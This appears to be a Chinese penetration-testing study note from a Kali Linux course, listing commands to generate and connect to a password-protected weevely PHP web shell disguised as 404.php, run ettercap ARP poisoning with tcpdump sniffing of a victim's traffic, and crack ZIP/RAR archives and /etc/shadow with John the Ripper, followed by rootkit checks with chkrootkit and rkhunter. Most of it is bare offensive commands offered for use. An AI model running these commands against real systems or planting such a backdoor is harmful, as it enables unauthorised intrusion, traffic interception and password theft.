12.持久性后门----

持久性后门

生成PHP shell

weevely generate 密码 /root/Desktop/404.php
靶机IP/404.php
weevely http://192.168.1.108/404.php 密码
下一步就是命令与执行了，比如ls

Ettercap之ARP中毒

sysctl -w net.ipv4.ip_forward=1

图形版ettercap

target1 添加路由 网关地址
target2 添加路由 蓝方地址

tcpdump -i eth0 -n port 80 and host 蓝方地址

RAR/ZIP & linux密码破解

John The Ripper工具

cd Desktop
zip2john
rar2john Test.zip     美元符开头美元符结束
rar2john Test.zip > hash.txt
john --format=rar hash.txt

useradd -r user2
passwd user2
john /etc/shadow

kali上检测rootkits

chkrootkit & rkhunter

apt-get install chkrootkit
chkrootkit -h
chkrootkit

apt-get install rkhunter
rkhunter
rkhunter -c